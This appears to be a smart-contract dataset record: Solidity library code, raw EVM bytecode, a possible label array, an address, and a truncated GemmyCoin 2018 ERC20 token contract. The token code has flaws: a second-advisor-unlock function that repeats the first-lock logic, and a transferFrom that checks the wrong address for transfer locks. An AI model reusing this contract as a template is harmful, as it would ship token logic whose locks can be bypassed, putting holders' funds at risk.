} * * function _setImplementation(address newImplementation) internal { * require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract"); * StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation; * } * } * ``` * * _Available since v4.1 for `address`, `bool`, `bytes32`, and `uint256`._ */ library StorageSlotUpgradeable { struct AddressSlot { address value; } struct BooleanSlot { bool value; } struct Bytes32Slot { bytes32 value; } struct Uint256Slot { uint256 value; } /** * @dev Returns an `AddressSlot` with member `value` located at `slot`. */ function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `BooleanSlot` with member `value` located at `slot`. */ function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Bytes32Slot` with member `value` located at `slot`. */ function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Uint256Slot` with member `value` located at `slot`. */ function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) { assembly { r.slot := slot } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../proxy/utils/Initializable.sol"; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract ContextUpgradeable is Initializable { function __Context_init() internal initializer { __Context_init_unchained(); } function __Context_init_unchained() internal initializer { } function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } uint256[50] private __gap; } //SPDX-License-Identifier: MIT pragma solidity >=0.7.0 <0.9.0; interface IBEP20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the token decimals. */ function decimals() external view returns (uint8); /** * @dev Returns the token symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the token name. */ function name() external view returns (string memory); /** * @dev Returns the bep token owner. */ function getOwner() external view returns (address); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address _owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) private pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } }
0x6080604052600436106101665760003560e01c80638da5cb5b116100d1578063cefb4c201161008a578063e410ba6711610064578063e410ba6714610410578063f2fde38b14610426578063f5f23b4814610446578063f86f31b61461047557600080fd5b8063cefb4c20146103af578063d44623ea146103d0578063e2e9d113146103f057600080fd5b80638da5cb5b146102e45780638e26a44d14610302578063a52d0c0914610322578063ad02d98514610338578063c0c53b8b14610358578063c9e486dc1461037857600080fd5b806367a37e971161012357806367a37e97146102395780636d303e12146102595780636dd0087914610279578063715018a6146102995780638705fcd4146102ae57806387eaf68f146102ce57600080fd5b80632815c9f71461016b5780633659cfe6146101955780633d8007d2146101b757806341275358146101d75780634f1ef286146102105780636472961d14610223575b600080fd5b34801561017757600080fd5b506101826101025481565b6040519081526020015b60405180910390f35b3480156101a157600080fd5b506101b56101b0366004611568565b610495565b005b3480156101c357600080fd5b506101b56101d23660046116fa565b6104bc565b3480156101e357600080fd5b50610103546101f8906001600160a01b031681565b6040516001600160a01b03909116815260200161018c565b6101b561021e366004611584565b610554565b34801561022f57600080fd5b5061018260ff5481565b34801561024557600080fd5b506101b56102543660046116d8565b61056d565b34801561026557600080fd5b506101b56102743660046116fa565b610606565b34801561028557600080fd5b506101b56102943660046116fa565b6106cf565b3480156102a557600080fd5b506101b561070b565b3480156102ba57600080fd5b506101b56102c9366004611568565b610741565b3480156102da57600080fd5b5061018260fc5481565b3480156102f057600080fd5b506097546001600160a01b03166101f8565b34801561030e57600080fd5b506101b561031d366004611568565b61078e565b34801561032e57600080fd5b5061018260fe5481565b34801561034457600080fd5b506101b5610353366004611643565b6107db565b34801561036457600080fd5b506101b561037336600461168e565b6108d8565b34801561038457600080fd5b50610182610393366004611568565b6001600160a01b03166000908152610100602052604090205490565b3480156103bb57600080fd5b50610104546101f8906001600160a01b031681565b3480156103dc57600080fd5b506101b56103eb3660046116fa565b6109c4565b3480156103fc57600080fd5b5060fb546101f8906001600160a01b031681565b34801561041c57600080fd5b5061018260fd5481565b34801561043257600080fd5b506101b5610441366004611568565b610a45565b34801561045257600080fd5b50610101546104629061ffff1681565b60405161ffff909116815260200161018c565b34801561048157600080fd5b506101b56104903660046116fa565b610add565b61049e81610b54565b6104b981604051806020016040528060008152506000610b7e565b50565b6097546001600160a01b031633146104ef5760405162461bcd60e51b81526004016104e6906117af565b60405180910390fd5b6101045460fb5461050d916001600160a01b03918216911683610d06565b610104546040518281526001600160a01b03909116907f2bb51c1e13547e97231b00ddb5e077a55a1b84608cd9679bfac627abbf029ad8906020015b60405180910390a250565b61055d82610b54565b61056982826001610b7e565b5050565b6097546001600160a01b031633146105975760405162461bcd60e51b81526004016104e6906117af565b6127108161ffff1611156105ed5760405162461bcd60e51b815260206004820152601860248201527f496e76616c69642066656520626173697320706f696e7473000000000000000060448201526064016104e6565b610101805461ffff191661ffff92909216919091179055565b6097546001600160a01b031633146106305760405162461bcd60e51b81526004016104e6906117af565b60fd548111156106785760405162461bcd60e51b81526020600482015260136024820152724d6f7265207468616e206d61782076616c756560681b60448201526064016104e6565b8061010254106106ca5760405162461bcd60e51b815260206004820152601c60248201527f466565206d6f7265207468616e206d696e696d756d20616d6f756e740000000060448201526064016104e6565b60fc55565b6106d93382610d6e565b60405181815233907f8b6db02faaefb6231d8df443c54b46b2b962f6d6afac84eb4013b5b57fee00c090602001610549565b6097546001600160a01b031633146107355760405162461bcd60e51b81526004016104e6906117af565b61073f6000610f48565b565b6097546001600160a01b0316331461076b5760405162461bcd60e51b81526004016104e6906117af565b61010380546001600160a01b0319166001600160a01b0392909216919091179055565b6097546001600160a01b031633146107b85760405162461bcd60e51b81526004016104e6906117af565b61010480546001600160a01b0319166001600160a01b0392909216919091179055565b600260c954141561082e5760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c0060448201526064016104e6565b600260c955336001600160a01b03831614156108855760405162461bcd60e51b8152602060048201526016602482015275313934b233b2a4b72337b91d102327a92124a22222a760511b60448201526064016104e6565b61088f8282610d6e565b6040518181526001600160a01b0383169033907ff7af08a53cee6881bb90f3e60eb2472a1b0ffa9657c27b4a749d4d530414060b9060200160405180910390a35050600160c955565b600054610100900460ff16806108f1575060005460ff16155b61090d5760405162461bcd60e51b81526004016104e690611761565b600054610100900460ff1615801561092f576000805461ffff19166101011790555b610937610f9a565b60fb80546001600160a01b038087166001600160a01b031992831617909255610101805461ffff19169055681b1ae4d6e2ef50000061010255610103805486841690831617905561010480549285169290911691909117905569021e19e0c9bab240000060fc5569152d02c7e14af680000060fd5580156109be576000805461ff00191690555b50505050565b6097546001600160a01b031633146109ee5760405162461bcd60e51b81526004016104e6906117af565b60fc548110610a3f5760405162461bcd60e51b815260206004820152601c60248201527f466565206d6f7265207468616e206d696e696d756d20616d6f756e740000000060448201526064016104e6565b61010255565b6097546001600160a01b03163314610a6f5760405162461bcd60e51b81526004016104e6906117af565b6001600160a01b038116610ad45760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016104e6565b6104b981610f48565b6097546001600160a01b03163314610b075760405162461bcd60e51b81526004016104e6906117af565b60fc54811015610b4f5760405162461bcd60e51b81526020600482015260136024820152724c657373207468616e206d696e2076616c756560681b60448201526064016104e6565b60fd55565b6097546001600160a01b031633146104b95760405162461bcd60e51b81526004016104e6906117af565b6000610bb17f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc546001600160a01b031690565b9050610bbc84611015565b600083511180610bc95750815b15610bda57610bd884846110ba565b505b7f4910fdfa16fed3260ed0e7147f7cc6da11a60208b5b9406d12a635614ffd9143805460ff16610cff57805460ff191660011781556040516001600160a01b0383166024820152610c5990869060440160408051601f198184030181529190526020810180516001600160e01b0316631b2ce7f360e11b1790526110ba565b50805460ff191681557f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc546001600160a01b03838116911614610cf65760405162461bcd60e51b815260206004820152602f60248201527f45524331393637557067726164653a207570677261646520627265616b73206660448201526e75727468657220757067726164657360881b60648201526084016104e6565b610cff856111a5565b5050505050565b6040516001600160a01b038316602482015260448101829052610d6990849063a9059cbb60e01b906064015b60408051601f198184030181529190526020810180516001600160e01b03166001600160e01b0319909316929092179091526111e5565b505050565b60fc54811015610db15760405162461bcd60e51b815260206004820152600e60248201526d135a5b9a5b5d5b48185b5bdd5b9d60921b60448201526064016104e6565b60fd54811115610df45760405162461bcd60e51b815260206004820152600e60248201526d13585e1a5b5d5b48185b5bdd5b9d60921b60448201526064016104e6565b6101025460009015610e70576101015461ffff1615610e66576000610e2561010254846112b790919063ffffffff16565b61010154909150600090610e4c9061271090610e4690859061ffff166112ca565b906112d6565b61010254909150610e5d90826112e2565b92505050610e9f565b5061010254610e9f565b6101015461ffff1615610e9f5761010154600090610e9b9061271090610e4690869061ffff166112ca565b9150505b6000610eab83836112b7565b60fb54909150610ec6906001600160a01b03163330866112ee565b6101035460fb54610ee4916001600160a01b03918216911684610d06565b6001600160a01b03841660009081526101006020526040902054610f0890826112e2565b6001600160a01b0385166000908152610100602052604090205560fe54610f2f90826112e2565b60fe5560ff54610f3f90836112e2565b60ff5550505050565b609780546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b600054610100900460ff1680610fb3575060005460ff16155b610fcf5760405162461bcd60e51b81526004016104e690611761565b600054610100900460ff16158015610ff1576000805461ffff19166101011790555b610ff9611326565b611001611390565b80156104b9576000805461ff001916905550565b803b6110795760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016104e6565b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc80546001600160a01b0319166001600160a01b0392909216919091179055565b6060823b6111195760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016104e6565b600080846001600160a01b0316846040516111349190611712565b600060405180830381855af49150503d806000811461116f576040519150601f19603f3d011682016040523d82523d6000602084013e611174565b606091505b509150915061119c82826040518060600160405280602781526020016118c0602791396113f0565b95945050505050565b6111ae81611015565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b600061123a826040518060400160405280602081526020017f5361666542455032303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b03166114299092919063ffffffff16565b805190915015610d695780806020019051810190611258919061166e565b610d695760405162461bcd60e51b815260206004820152602a60248201527f5361666542455032303a204245503230206f7065726174696f6e20646964206e6044820152691bdd081cdd58d8d9595960b21b60648201526084016104e6565b60006112c3828461183b565b9392505050565b60006112c3828461181c565b60006112c382846117fc565b60006112c382846117e4565b6040516001600160a01b03808516602483015283166044820152606481018290526109be9085906323b872dd60e01b90608401610d32565b600054610100900460ff168061133f575060005460ff16155b61135b5760405162461bcd60e51b81526004016104e690611761565b600054610100900460ff16158015611001576000805461ffff191661010117905580156104b9576000805461ff001916905550565b600054610100900460ff16806113a9575060005460ff16155b6113c55760405162461bcd60e51b81526004016104e690611761565b600054610100900460ff161580156113e7576000805461ffff19166101011790555b61100133610f48565b606083156113ff5750816112c3565b82511561140f5782518084602001fd5b8160405162461bcd60e51b81526004016104e6919061172e565b60606114388484600085611440565b949350505050565b6060824710156114a15760405162461bcd60e51b815260206004820152602660248201527f416464726573733a20696e73756666696369656e742062616c616e636520666f6044820152651c8818d85b1b60d21b60648201526084016104e6565b843b6114ef5760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e747261637400000060448201526064016104e6565b600080866001600160a01b0316858760405161150b9190611712565b60006040518083038185875af1925050503d8060008114611548576040519150601f19603f3d011682016040523d82523d6000602084013e61154d565b606091505b509150915061155d8282866113f0565b979650505050505050565b600060208284031215611579578081fd5b81356112c3816118aa565b60008060408385031215611596578081fd5b82356115a1816118aa565b9150602083013567ffffffffffffffff808211156115bd578283fd5b818501915085601f8301126115d0578283fd5b8135818111156115e2576115e2611894565b604051601f8201601f19908116603f0116810190838211818310171561160a5761160a611894565b81604052828152886020848701011115611622578586fd5b82602086016020830137856020848301015280955050505050509250929050565b60008060408385031215611655578182fd5b8235611660816118aa565b946020939093013593505050565b60006020828403121561167f578081fd5b815180151581146112c3578182fd5b6000806000606084860312156116a2578081fd5b83356116ad816118aa565b925060208401356116bd816118aa565b915060408401356116cd816118aa565b809150509250925092565b6000602082840312156116e9578081fd5b813561ffff811681146112c3578182fd5b60006020828403121561170b578081fd5b5035919050565b60008251611724818460208701611852565b9190910192915050565b602081526000825180602084015261174d816040850160208701611852565b601f01601f19169190910160400192915050565b6020808252602e908201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160408201526d191e481a5b9a5d1a585b1a5e995960921b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600082198211156117f7576117f761187e565b500190565b60008261181757634e487b7160e01b81526012600452602481fd5b500490565b60008160001904831182151516156118365761183661187e565b500290565b60008282101561184d5761184d61187e565b500390565b60005b8381101561186d578181015183820152602001611855565b838111156109be5750506000910152565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146104b957600080fdfe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220475d7714ab07699fdfa6c6a1a6306e1e874956cacdf0cf13d9ca0806dda3ccf264736f6c63430008040033
[ 15, 22 ]
0xf30aead79ddf74e8b5438f247a36f2b58b5a8c6d
pragma solidity ^0.4.23; // Made By PinkCherry - insanityskan@gmail.com - https://blog.naver.com/soolmini library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract OwnerHelper { address public owner; event OwnerTransferPropose(address indexed _from, address indexed _to); modifier onlyOwner { require(msg.sender == owner); _; } constructor() public { owner = msg.sender; } function transferOwnership(address _to) onlyOwner public { require(_to != owner); require(_to != address(0x0)); owner = _to; emit OwnerTransferPropose(owner, _to); } } contract ERC20Interface { event Transfer( address indexed _from, address indexed _to, uint _value); event Approval( address indexed _owner, address indexed _spender, uint _value); function totalSupply() constant public returns (uint _supply); function balanceOf( address _who ) public view returns (uint _value); function transfer( address _to, uint _value) public returns (bool _success); function approve( address _spender, uint _value ) public returns (bool _success); function allowance( address _owner, address _spender ) public view returns (uint _allowance); function transferFrom( address _from, address _to, uint _value) public returns (bool _success); } contract GemmyCoin is ERC20Interface, OwnerHelper { using SafeMath for uint; string public name; uint public decimals; string public symbol; address public wallet; uint public totalSupply; uint constant public saleSupply = 4000000000 * E18; uint constant public rewardPoolSupply = 2500000000 * E18; uint constant public foundationSupply = 500000000 * E18; uint constant public gemmyMusicSupply = 1500000000 * E18; uint constant public advisorSupply = 700000000 * E18; uint constant public mktSupply = 800000000 * E18; uint constant public maxSupply = 10000000000 * E18; uint public coinIssuedSale = 0; uint public coinIssuedRewardPool = 0; uint public coinIssuedFoundation = 0; uint public coinIssuedGemmyMusic = 0; uint public coinIssuedAdvisor = 0; uint public coinIssuedMkt = 0; uint public coinIssuedTotal = 0; uint public coinIssuedBurn = 0; uint public saleEtherReceived = 0; uint constant private E18 = 1000000000000000000; uint constant private ethPerCoin = 35000; uint private UTC9 = 9 * 60 * 60; uint public privateSaleDate = 1526223600 + UTC9; // 2018-05-14 00:00:00 (UTC + 9) uint public privateSaleEndDate = 1527951600 + UTC9; // 2018-06-03 00:00:00 (UTC + 9) uint public firstPreSaleDate = 1528038000 + UTC9; // 2018-06-04 00:00:00 (UTC + 9) uint public firstPreSaleEndDate = 1528988400 + UTC9; // 2018-06-15 00:00:00 (UTC + 9) uint public secondPreSaleDate = 1529852400 + UTC9; // 2018-06-25 00:00:00 (UTC + 9) uint public secondPreSaleEndDate = 1530802800 + UTC9; // 2018-07-06 00:00:00 (UTC + 9) uint public firstCrowdSaleDate = 1531062000 + UTC9; // 2018-07-09 00:00:00 (UTC + 9) uint public firstCrowdSaleEndDate = 1532012400 + UTC9; // 2018-07-20 00:00:00 (UTC + 9) uint public secondCrowdSaleDate = 1532271600 + UTC9; // 2018-07-23 00:00:00 (UTC + 9) uint public secondCrowdSaleEndDate = 1532962800 + UTC9; // 2018-07-31 00:00:00 (UTC + 9) bool public totalCoinLock; uint public gemmyMusicLockTime; uint public advisorFirstLockTime; uint public advisorSecondLockTime; mapping (address => uint) internal balances; mapping (address => mapping ( address => uint )) internal approvals; mapping (address => bool) internal personalLocks; mapping (address => bool) internal gemmyMusicLocks; mapping (address => uint) internal advisorFirstLockBalances; mapping (address => uint) internal advisorSecondLockBalances; mapping (address => uint) internal icoEtherContributeds; event CoinIssuedSale(address indexed _who, uint _coins, uint _balances, uint _ether); event RemoveTotalCoinLock(); event SetAdvisorLockTime(uint _first, uint _second); event RemovePersonalLock(address _who); event RemoveGemmyMusicLock(address _who); event RemoveAdvisorFirstLock(address _who); event RemoveAdvisorSecondLock(address _who); event WithdrawRewardPool(address _who, uint _value); event WithdrawFoundation(address _who, uint _value); event WithdrawGemmyMusic(address _who, uint _value); event WithdrawAdvisor(address _who, uint _value); event WithdrawMkt(address _who, uint _value); event ChangeWallet(address _who); event BurnCoin(uint _value); event RefundCoin(address _who, uint _value); constructor() public { name = "GemmyMusicCoin"; decimals = 18; symbol = "GMM"; totalSupply = 0; owner = msg.sender; wallet = msg.sender; require(maxSupply == saleSupply + rewardPoolSupply + foundationSupply + gemmyMusicSupply + advisorSupply + mktSupply); totalCoinLock = true; gemmyMusicLockTime = privateSaleDate + (365 * 24 * 60 * 60); advisorFirstLockTime = gemmyMusicLockTime; // if tokenUnLock == timeChange advisorSecondLockTime = gemmyMusicLockTime; // if tokenUnLock == timeChange } function atNow() public view returns (uint) { return now; } function () payable public { require(saleSupply > coinIssuedSale); buyCoin(); } function buyCoin() private { uint saleTime = 0; // 1 : privateSale, 2 : firstPreSale, 3 : secondPreSale, 4 : firstCrowdSale, 5 : secondCrowdSale uint coinBonus = 0; uint minEth = 0.1 ether; uint maxEth = 100000 ether; uint nowTime = atNow(); if( nowTime >= privateSaleDate && nowTime < privateSaleEndDate ) { saleTime = 1; coinBonus = 40; } else if( nowTime >= firstPreSaleDate && nowTime < firstPreSaleEndDate ) { saleTime = 2; coinBonus = 20; } else if( nowTime >= secondPreSaleDate && nowTime < secondPreSaleEndDate ) { saleTime = 3; coinBonus = 15; } else if( nowTime >= firstCrowdSaleDate && nowTime < firstCrowdSaleEndDate ) { saleTime = 4; coinBonus = 5; } else if( nowTime >= secondCrowdSaleDate && nowTime < secondCrowdSaleEndDate ) { saleTime = 5; coinBonus = 0; } require(saleTime >= 1 && saleTime <= 5); require(msg.value >= minEth && icoEtherContributeds[msg.sender].add(msg.value) <= maxEth); uint coins = ethPerCoin.mul(msg.value); coins = coins.mul(100 + coinBonus) / 100; require(saleSupply >= coinIssuedSale.add(coins)); totalSupply = totalSupply.add(coins); coinIssuedSale = coinIssuedSale.add(coins); saleEtherReceived = saleEtherReceived.add(msg.value); balances[msg.sender] = balances[msg.sender].add(coins); icoEtherContributeds[msg.sender] = icoEtherContributeds[msg.sender].add(msg.value); personalLocks[msg.sender] = true; emit Transfer(0x0, msg.sender, coins); emit CoinIssuedSale(msg.sender, coins, balances[msg.sender], msg.value); wallet.transfer(address(this).balance); } function isTransferLock(address _from, address _to) constant private returns (bool _success) { _success = false; if(totalCoinLock == true) { _success = true; } if(personalLocks[_from] == true || personalLocks[_to] == true) { _success = true; } if(gemmyMusicLocks[_from] == true || gemmyMusicLocks[_to] == true) { _success = true; } return _success; } function isPersonalLock(address _who) constant public returns (bool) { return personalLocks[_who]; } function removeTotalCoinLock() onlyOwner public { require(totalCoinLock == true); uint nowTime = atNow(); advisorFirstLockTime = nowTime + (2 * 30 * 24 * 60 * 60); advisorSecondLockTime = nowTime + (4 * 30 * 24 * 60 * 60); totalCoinLock = false; emit RemoveTotalCoinLock(); emit SetAdvisorLockTime(advisorFirstLockTime, advisorSecondLockTime); } function removePersonalLock(address _who) onlyOwner public { require(personalLocks[_who] == true); personalLocks[_who] = false; emit RemovePersonalLock(_who); } function removePersonalLockMultiple(address[] _addresses) onlyOwner public { for(uint i = 0; i < _addresses.length; i++) { require(personalLocks[_addresses[i]] == true); personalLocks[_addresses[i]] = false; emit RemovePersonalLock(_addresses[i]); } } function removeGemmyMusicLock(address _who) onlyOwner public { require(atNow() > gemmyMusicLockTime); require(gemmyMusicLocks[_who] == true); gemmyMusicLocks[_who] = false; emit RemoveGemmyMusicLock(_who); } function removeFirstAdvisorLock(address _who) onlyOwner public { require(atNow() > advisorFirstLockTime); require(advisorFirstLockBalances[_who] > 0); require(personalLocks[_who] == true); balances[_who] = balances[_who].add(advisorFirstLockBalances[_who]); advisorFirstLockBalances[_who] = 0; emit RemoveAdvisorFirstLock(_who); } function removeSecondAdvisorLock(address _who) onlyOwner public { require(atNow() > advisorSecondLockTime); require(advisorFirstLockBalances[_who] > 0); require(personalLocks[_who] == true); balances[_who] = balances[_who].add(advisorFirstLockBalances[_who]); advisorFirstLockBalances[_who] = 0; emit RemoveAdvisorFirstLock(_who); } function totalSupply() constant public returns (uint) { return totalSupply; } function balanceOf(address _who) public view returns (uint) { return balances[_who].add(advisorFirstLockBalances[_who].add(advisorSecondLockBalances[_who])); } function transfer(address _to, uint _value) public returns (bool) { require(balances[msg.sender] >= _value); require(isTransferLock(msg.sender, _to) == false); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } function transferMultiple(address[] _addresses, uint[] _values) onlyOwner public returns (bool) { require(_addresses.length == _values.length); for(uint i = 0; i < _addresses.length; i++) { require(balances[msg.sender] >= _values[i]); require(isTransferLock(msg.sender, _addresses[i]) == false); balances[msg.sender] = balances[msg.sender].sub(_values[i]); balances[_addresses[i]] = balances[_addresses[i]].add(_values[i]); emit Transfer(msg.sender, _addresses[i], _values[i]); } return true; } function approve(address _spender, uint _value) public returns (bool) { require(balances[msg.sender] >= _value); require(isTransferLock(msg.sender, _spender) == false); approvals[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant public returns (uint) { return approvals[_owner][_spender]; } function transferFrom(address _from, address _to, uint _value) public returns (bool) { require(balances[_from] >= _value); require(approvals[_from][msg.sender] >= _value); require(isTransferLock(msg.sender, _to) == false); approvals[_from][msg.sender] = approvals[_from][msg.sender].sub(_value); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(_from, _to, _value); return true; } function withdrawRewardPool(address _who, uint _value) onlyOwner public { uint coins = _value * E18; require(rewardPoolSupply >= coinIssuedRewardPool.add(coins)); totalSupply = totalSupply.add(coins); coinIssuedRewardPool = coinIssuedRewardPool.add(coins); coinIssuedTotal = coinIssuedTotal.add(coins); balances[_who] = balances[_who].add(coins); personalLocks[_who] = true; emit Transfer(0x0, msg.sender, coins); emit WithdrawRewardPool(_who, coins); } function withdrawFoundation(address _who, uint _value) onlyOwner public { uint coins = 